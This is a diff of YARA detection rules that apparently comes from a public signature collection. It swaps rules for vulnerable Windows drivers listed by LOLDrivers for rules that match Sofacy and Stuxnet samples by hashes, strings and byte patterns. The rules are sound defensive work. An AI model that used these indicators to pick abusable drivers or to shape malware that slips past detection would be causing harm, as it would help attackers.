+		$encrypted_pe_header_shift_246 = { f2 af f6 43 50 86 f6 f9 f6 f6 f6 78 fa f6 26 f5 f5 f6 }
+		$encrypted_pe_header_shift_247 = { f3 b0 f7 44 51 87 f7 fa f7 f7 f7 79 fb f7 27 f6 f6 f7 }
+		$encrypted_pe_header_shift_248 = { f4 b1 f8 45 52 88 f8 fb f8 f8 f8 7a fc f8 28 f7 f7 f8 }
+		$encrypted_pe_header_shift_249 = { f5 b2 f9 46 53 89 f9 fc f9 f9 f9 7b fd f9 29 f8 f8 f9 }
+		$encrypted_pe_header_shift_250 = { f6 b3 fa 47 54 8a fa fd fa fa fa 7c fe fa 2a f9 f9 fa }
+		$encrypted_pe_header_shift_251 = { f7 b4 fb 48 55 8b fb fe fb fb fb 7d ff fb 2b fa fa fb }
+		$encrypted_pe_header_shift_252 = { f8 b5 fc 49 56 8c fc ff fc fc fc 7e 00 fc 2c fb fb fc }
+		$encrypted_pe_header_shift_253 = { f9 b6 fd 4a 57 8d fd 00 fd fd fd 7f 01 fd 2d fc fc fd }
+		$encrypted_pe_header_shift_254 = { fa b7 fe 4b 58 8e fe 01 fe fe fe 80 02 fe 2e fd fd fe }
+		$encrypted_pe_header_shift_255 = { fb b8 ff 4c 59 8f ff 02 ff ff ff 81 03 ff 2f fe fe ff }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <200KB and (1 of ($encrypted_pe_header_shift_*))
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Sunmicrosystemsinc_Vboxdrvsys_Sunvirtualbox_R_7882 : FILE
+rule SIGNATURE_BASE_Sofacy_Jun16_Sample1 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - vboxdrv.sys"
-		author = "Florian Roth"
-		id = "c367a41e-58e4-59cd-a3f4-dfcd001e7040"
-		date = "2023-06-14"
+		description = "Detects Sofacy Malware mentioned in PaloAltoNetworks APT report"
+		author = "Florian Roth (Nextron Systems)"
+		id = "62b577e3-7ccb-59df-a944-96ffe9b16d3d"
+		date = "2016-06-14"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3953-L3974"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "78827fa00ea48d96ac9af8d1c1e317d02ce11793e7f7f6e4c7aac7b5d7dd490f"
-		hash = "c26b51b4c37330800cff8519252e110116c3aaade94ceb9894ec5bfb1b8f9924"
-		logic_hash = "5e95853e7a2013132a6565b5908475e6369a56ff6c58f0e10c875b72b15b2523"
-		score = 40
+		reference = "http://goo.gl/mzAa97"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sofacy_jun16.yar#L10-L25"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "761cec3d04e6b5273cfb450000023ed10ea73d17648c0af7660f4ef2b37fc31c"
+		score = 85
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "be1cfa10fcf2668ae01b98579b345ebe87dab77b6b1581c368d1aba9fd2f10a0"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0032002e0030002e007200340035003800340036 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0032002e0030002e007200340035003800340036 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530075006e0020005600690072007400750061006c0042006f0078 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039002000530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e }
+		$s1 = "clconfg.dll" fullword ascii
+		$s2 = "ASijnoKGszdpodPPiaoaghj8127391" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		( uint16(0)==0x5a4d and filesize <200KB and (1 of ($s*))) or ( all of them )
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Corsairmemoryinc_Corsairllaccess_Corsairllaccess_5FAD : FILE
+rule SIGNATURE_BASE_Sofacy_Jun16_Sample2 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - CorsairLLAccess64.sys"
-		author = "Florian Roth"
-		id = "95bb049c-cef2-5235-8e3d-ebe9591b7e27"
-		date = "2023-06-14"
+		description = "Detects Sofacy Malware mentioned in PaloAltoNetworks APT report"
+		author = "Florian Roth (Nextron Systems)"
+		id = "21561e13-a190-565e-a08b-e6a07c84c3db"
+		date = "2016-06-14"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L3977-L3998"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5fad3775feb8b6f6dcbd1642ae6b6a565ff7b64eadfc9bf9777918b51696ab36"
-		hash = "29a90ae1dcee66335ece4287a06482716530509912be863c85a2a03a6450a5b6"
-		logic_hash = "5dc9ec007f318b16034b43248be9807c024780aa58eb714982130656e7f2b6a6"
-		score = 40
+		reference = "http://goo.gl/mzAa97"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sofacy_jun16.yar#L27-L49"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a1f334996527556334c34d0308da6165e9d2a3d7eb8b2ecc322b574dea4d4844"
+		score = 85
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "57d230ddaf92e2d0504e5bb12abf52062114fb8980c5ecc413116b1d6ffedf1b"
+		hash2 = "69940a20ab9abb31a03fcefe6de92a16ed474bbdff3288498851afc12a834261"
+		hash3 = "aeeab3272a2ed2157ebf67f74c00fafc787a2b9bbaa17a03be1e23d4cb273632"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0043006f007200730061006900720020004d0065006d006f00720079002c00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e00310036002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e00310036002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007200730061006900720020004d0065006d006f00720079002c00200049006e0063002e002000280063002900200032003000310039002c00200041006c006c0020007200690067006800740073002000720065007300650072007600650064 }
+		$x1 = "DGMNOEP" fullword ascii
+		$x2 = "/%s%s%s/?%s=" fullword ascii
+		$s1 = "Control Panel\\Dehttps=https://%snetwork.proxy.ht2" fullword ascii
+		$s2 = "http=http://%s:%Control Panel\\Denetwork.proxy.ht&ol1mS9" fullword ascii
+		$s3 = "svchost.dll" fullword wide
+		$s4 = "clconfig.dll" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		( uint16(0)==0x5a4d and filesize <100KB and ( all of ($x*))) or (3 of them )
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Cpuid_Cpuzsys_Cpuidservice_A072 : FILE
+rule SIGNATURE_BASE_Sofacy_Jun16_Sample3 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
-		author = "Florian Roth"
-		id = "caf170d7-172f-56eb-beae-0c40e7ac78fa"
-		date = "2023-06-14"
+		description = "Detects Sofacy Malware mentioned in PaloAltoNetworks APT report"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f97bc840-0d9a-5a9e-9e13-7b7f8acc53a5"
+		date = "2016-06-14"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4001-L4023"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a072197177aad26c31960694e38e2cae85afbab070929e67e331b99d3a418cf4"
-		hash = "e0b5a5f8333fc1213791af5c5814d7a99615b3951361ca75f8aa5022c9cfbc2b"
-		hash = "ded2927f9a4e64eefd09d0caba78e94f309e3a6292841ae81d5528cab109f95d"
-		logic_hash = "2e3f7c31d7bad9d21c921e2cebe38c717909cbbc44f60fb2da2623f2d1f3ce88"
-		score = 40
+		reference = "http://goo.gl/mzAa97"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sofacy_jun16.yar#L51-L65"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bdc6fcc30ebd7a966391747e4156a6d94dc9187e8b8898de4c441540ec4e637e"
+		score = 85
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "c2551c4e6521ac72982cb952503a2e6f016356e02ee31dea36c713141d4f3785"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310036002000430050005500490044 }
+		$s1 = "ASLIiasiuqpssuqkl713h" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5a4d and filesize <200KB and $s1
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_2A62 : FILE
+rule SIGNATURE_BASE_Stuxnet_Malware_1
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
-		author = "Florian Roth"
-		id = "7c67b2a6-a2da-56ce-8ed4-017838ea7673"
-		date = "2023-06-14"
+		description = "Stuxnet Sample - file malware.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1f475dc3-ebb3-508f-b696-3d9ea270b13d"
+		date = "2016-07-09"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4026-L4046"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2a6212f3b68a6f263e96420b3607b31cfdfe51afff516f3c87d27bf8a89721e8"
-		logic_hash = "5fae0a4ba7d11e3714baab3417a1bdd9fff6275fa9347c0389d8627374533bbf"
-		score = 40
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_stuxnet.yar#L10-L41"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8caa6bddef3c05e572ef342513190832900dcb1a7a56589ed7df48b3c6992ed1"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "9c891edb5da763398969b6aaa86a5d46971bd28a455b20c2067cb512c9f9a0f8"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c002000360035002c00200030002c00200030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c002000360035002c00200030002c00200030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100320020002d0020007700770077002e007400670073006f00660074002e00690074 }
+		$op1 = { 8b 45 08 35 dd 79 19 ae 33 c9 8b 55 08 89 02 89 }
+		$op2 = { 74 36 8b 7f 08 83 ff 00 74 2e 0f b7 1f 8b 7f 04 }
+		$op3 = { 74 70 81 78 05 8d 54 24 04 75 1b 81 78 08 04 cd }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_AAA3 : FILE
+rule SIGNATURE_BASE_Stuxnet_Malware_2 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "9b0770d3-d004-552f-be65-6dcc14f06cc7"
-		date = "2023-06-14"
+		description = "Stuxnet Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "2865353c-44c5-5280-878b-daadcef017b8"
+		date = "2016-07-09"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4049-L4069"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "aaa3459bcac25423f78ed72dbae4d7ef19e7c5c65770cbe5210b14e33cd1816c"
-		logic_hash = "bb87661658fa874985bbe1050c19eb8ea9136ec62c224d53cd4920866e6a6b1f"
-		score = 40
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_stuxnet.yar#L43-L57"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ecf992f8fd38b1ab3e05bfe05f260bcaf617f168484477aa81acb9b517b9f3e7"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "63e6b8136058d7a06dfff4034b4ab17a261cdf398e63868a601f77ddd1b32802"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0032002e0033003800320030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0032002e0033003800320030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 }
+		$s1 = "\\SystemRoot\\System32\\hal.dll" wide
+		$s2 = "http://www.jmicron.co.tw0" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		uint16(0)==0x5a4d and filesize <70KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avastsoftware_Aswvmmsys_Avastantivirus_3650 : FILE
+rule SIGNATURE_BASE_Stuxnet_Dll : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswVmm.sys"
-		author = "Florian Roth"
-		id = "1b3abcb0-5317-58f0-bb7a-6bc1996483fa"
-		date = "2023-06-14"
+		description = "Stuxnet Sample - file dll.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "92d812a6-2622-56e4-96c5-eb65ab7055b9"
+		date = "2016-07-09"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4072-L4092"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "36505921af5a09175395ebaea29c72b2a69a3a9204384a767a5be8a721f31b10"
-		logic_hash = "afe8e12664ee9061c2b2ecdcaaef0c38ece604d050e31b46208f9a22545042ca"
-		score = 40
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_stuxnet.yar#L59-L72"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0c192153c268fdd330d3b9e2eb0d8383bd50ce6d036409f0cc0c9273ba8201b3"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "9e392277f62206098cf794ddebafd2817483cfd57ec03c2e05e7c3c81e72f562"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00610076006100730074002100200056004d0020004d006f006e00690074006f0072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0038002e0030002e0031003400390037002e003300370036 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0038002e0030002e0031003400390037002e003300370036 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0061007300770056006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00610076006100730074002100200041006e0074006900760069007200750073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0061007300770056006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003300200041005600410053005400200053006f006600740077006100720065 }
+		$s1 = "SUCKM3 FROM EXPLORER.EXE MOTH4FUCKA #@!" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and $s1
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Windowsrserverddkprovider_Gdrvsys_Windowsrserverddkdriver_31F4 : FILE
+rule SIGNATURE_BASE_Stuxnet_Shortcut_To : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
-		author = "Florian Roth"
-		id = "e7728971-efb9-5c8b-8600-8f2b393d966e"
-		date = "2023-06-14"
+		description = "Stuxnet Sample - file Copy of Shortcut to.lnk"
+		author = "Florian Roth (Nextron Systems)"
+		id = "582ab12b-808e-5d5c-ba36-3bb987c4c552"
+		date = "2016-07-09"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4095-L4117"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427"
-		hash = "6f1fc8287dd8d724972d7a165683f2b2ad6837e16f09fe292714e8e38ecd1e38"
-		hash = "17927b93b2d6ab4271c158f039cae2d60591d6a14458f5a5690aec86f5d54229"
-		logic_hash = "9e28e5d1a7003e9911b2c5a7597d1c45c304bdb18cb9177d459f2b35c0da9658"
-		score = 40
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_stuxnet.yar#L74-L87"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a8119500d38bcfc60620265386f31899e586f62e1ceeeff365fd0018ab39c30e"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "801e3b6d84862163a735502f93b9663be53ccbdd7f12b0707336fecba3a829a2"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041004200590054004500200054006f006f006c0073 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000530065007200760065007200200032003000300033002000440044004b002000700072006f00760069006400650072 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e00310038003300300020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e0031003800330030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000530065007200760065007200200032003000300033002000440044004b0020006400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$x1 = "\\\\.\\STORAGE#Volume#_??_USBSTOR#Disk&Ven_Kingston&Prod_DataTraveler_2.0&Rev_PMAP#5B6B098B97BE&0#{53f56307-b6bf-11d0-94f2-00a0c" wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x004c and filesize <10KB and $x1
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Gigabytetechnologycoltd_Gdrvsys_Gdrv_FF67 : FILE
+rule SIGNATURE_BASE_Stuxnet_Malware_3 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
-		author = "Florian Roth"
-		id = "b5062d65-a4bc-5d0e-9883-7c1fa54138e8"
-		date = "2023-06-14"
+		description = "Stuxnet Sample - file ~WTR4141.tmp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1b0b301a-bf29-5080-a7d6-4d5f389bdf50"
+		date = "2016-07-09"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4120-L4140"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ff6729518a380bf57f1bc6f1ec0aa7f3012e1618b8d9b0f31a61d299ee2b4339"
-		logic_hash = "18c40b7312d0b65d83287e452e8b9429eaed36245d17ef1b82ec04a968303a39"
-		score = 40
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_stuxnet.yar#L89-L110"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d8c546fb74b419d46bab855fa07a55833ab0a23eb4081ce24a5d4ab0e4bf09dc"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "6bcf88251c876ef00b2f32cf97456a3e306c2a263d487b0a50216c6e3cc07c6a"
+		hash2 = "70f8789b03e38d07584f57581363afa848dd5c3a197f2483c6dfa4f3e7f78b9b"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041002d00420059005400450020004e006f006e0050004e00500020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004900470041002d004200590054004500200054004500430048004e004f004c004f0047005900200043004f002e002c0020004c00540044002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310037003100320030003100300031 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]006700640072007600360034 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310037 }
+		$x1 = "SHELL32.DLL.ASLR." fullword wide
+		$s1 = "~WTR4141.tmp" fullword wide
+		$s2 = "~WTR4132.tmp" fullword wide
+		$s3 = "totalcmd.exe" fullword wide
+		$s4 = "wincmd.exe" fullword wide
+		$s5 = "http://www.realtek.com0" fullword ascii
+		$s6 = "{%08x-%08x-%08x-%08x}" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		( uint16(0)==0x5a4d and filesize <150KB and ($x1 or 3 of ($s*))) or (5 of them )
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Asustekcomputerinc_Eiosys_Asusvgakernelmodedriver_CF69 : FILE
+rule SIGNATURE_BASE_Stuxnet_Malware_4 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - EIO.sys"
-		author = "Florian Roth"
-		id = "609554bc-0f2f-5861-ad56-fc7a772459a6"
-		date = "2023-06-14"
+		description = "Stuxnet Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "fd3fa395-15f1-5a11-9740-03b897e4620b"
+		date = "2016-07-09"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L4143-L4163"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cf69704755ec2643dfd245ae1d4e15d77f306aeb1a576ffa159453de1a7345cb"
-		logic_hash = "e2af00ec7cb87e1fe02844a4f26a73c0276f5620f63a59903e4283e4be4b8c72"
-		score = 40
+		reference = "Internal Research"
